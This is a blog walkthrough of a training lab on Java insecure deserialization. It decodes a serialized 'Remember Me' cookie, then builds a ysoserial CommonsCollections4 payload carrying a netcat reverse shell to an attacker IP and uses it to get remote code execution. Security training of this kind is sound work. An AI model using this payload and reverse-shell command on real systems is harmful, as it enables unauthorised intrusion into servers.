Insecure Deserialization – Java

Introduction

Insecure deserialization is a critical vulnerability that occurs when an application improperly processes untrusted serialized data. Attackers can exploit this flaw to manipulate objects, execute arbitrary code, or escalate privileges. Recognized under CWE-502 and the OWASP Top 10, this vulnerability has led to severe security breaches. Since deserialization is widely used in web applications, failing to validate input can expose systems to remote code execution (RCE) and other risks.

This blog is inspired by a lab created by NotSoSecure, a cybersecurity company known for its high-quality training content. I recently solved their lab on insecure deserialization, and in this walkthrough, I will share the exploitation process.

Lab Reference: NotSoSecure – Deserialization Exploit Playground

Understanding the Vulnerability

Serialization converts complex data structures (like objects) into a format for storage or transmission, such as JSON, XML, or binary. Deserialization reverses this process, reconstructing objects from serialized data. Web applications frequently use deserialization for user sessions, API communications, and data storage.

The vulnerability occurs when an application deserializes untrusted data without validation. Attackers can modify serialized objects to inject malicious payloads, manipulate application behavior, or execute arbitrary code. Since deserialization can invoke class methods automatically, insecure implementations may allow remote code execution (RCE). In this lab, we’ll focus on achieving RCE by crafting a malicious serialized payload and injecting it into the application.

Walkthrough

I will log in using the default credentials: admin as the username and password as the password. While logging in, it is important to check the “Remember Me” option, as this may store authentication data in a way that can be exploited later.

During the login process, I intercepted the request using Burp Suite and forwarded it to the Repeater for further analysis. Upon examining the request, I identified that the “Remember Me” cookie is stored in a serialized format. This indicates that the application is likely using insecure deserialization, which could be exploited for remote code execution.

 

I copied the “Remember Me” cookie and attempted to decode it using Base64 to check its contents. I used the following command:

Command:-
echo “rO0ABXNyACZjb20ubm90c29zZWN1cmUubGFicy53ZWIubW9kZWwuVXNlclNlcnUQ30eW9flvAgABTAAIdXNlcm5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHQABWFkbWlu” | base64 -d

Result:-
��sr&com.notsosecure.labs.web.model.UserSeru�G���ousernametLjava/lang/String;xptadmin

The output revealed an object containing serialized Java data, indicating that the application is using Java serialization to store the “Remember Me” cookie. This suggests a potential vulnerability to insecure deserialization attacks.

Next step, I attempted to generate a serialized payload for a reverse shell using ysoserial. The following command was used:

Command:-
java -jar ysoserial-all.jar CommonsCollections4 “nc 192.168.1.8 2723 -e /bin/bash” | base64 -w0

 

Here’s a breakdown of the command:

• ysoserial-all.jar: A tool that generates payloads for exploiting Java deserialization vulnerabilities.
• CommonsCollections4: The specific gadget chain used to trigger remote code execution.
• "nc 192.168.1.8 2723 -e /bin/bash": This executes a reverse shell, connecting to 192.168.1.8 on port 2723.
• | base64 -w0
• base64 Encodes the serialized payload in Base64 for easier injection into the vulnerable application.
• Pipes (|) the generated payload into Base64 encoding.
• w0 ensures no line breaks, making it easier to inject into serialized data.

Note:- In this attack we used java 8 (jdk 8u121) for this attack to create our payload.

 

Next, I set up a listener on my attacker’s machine to capture the reverse shell connection. I used the following command:

nc -lvnp 2723

 

Now, I used the generated payload by replacing the existing serialized “Remember Me” cookie with the newly created one. After modifying the cookie, I sent the request.

The server responded with a 500 Internal Server Error, which indicates that an exception occurred while processing the request. Despite this error, the payload was successfully executed on the target system, triggering the reverse shell connection to my attacker’s machine.

At this point, I switched to my Netcat listener and confirmed that a shell session had been established, granting remote access to the target system.

 

Boom! I successfully gained Remote Code Execution (RCE) on the web application’s machine.

With the reverse shell connection established, I now have control over the system, allowing me to execute commands remotely. This confirms that the application is vulnerable to insecure deserialization, which was exploited to achieve code execution.

For a detailed explanation and similar labs on insecure deserialization in Java, you can refer to this blog by NotSoSecure.

Lab Reference: NotSoSecure – Deserialization Exploit Playground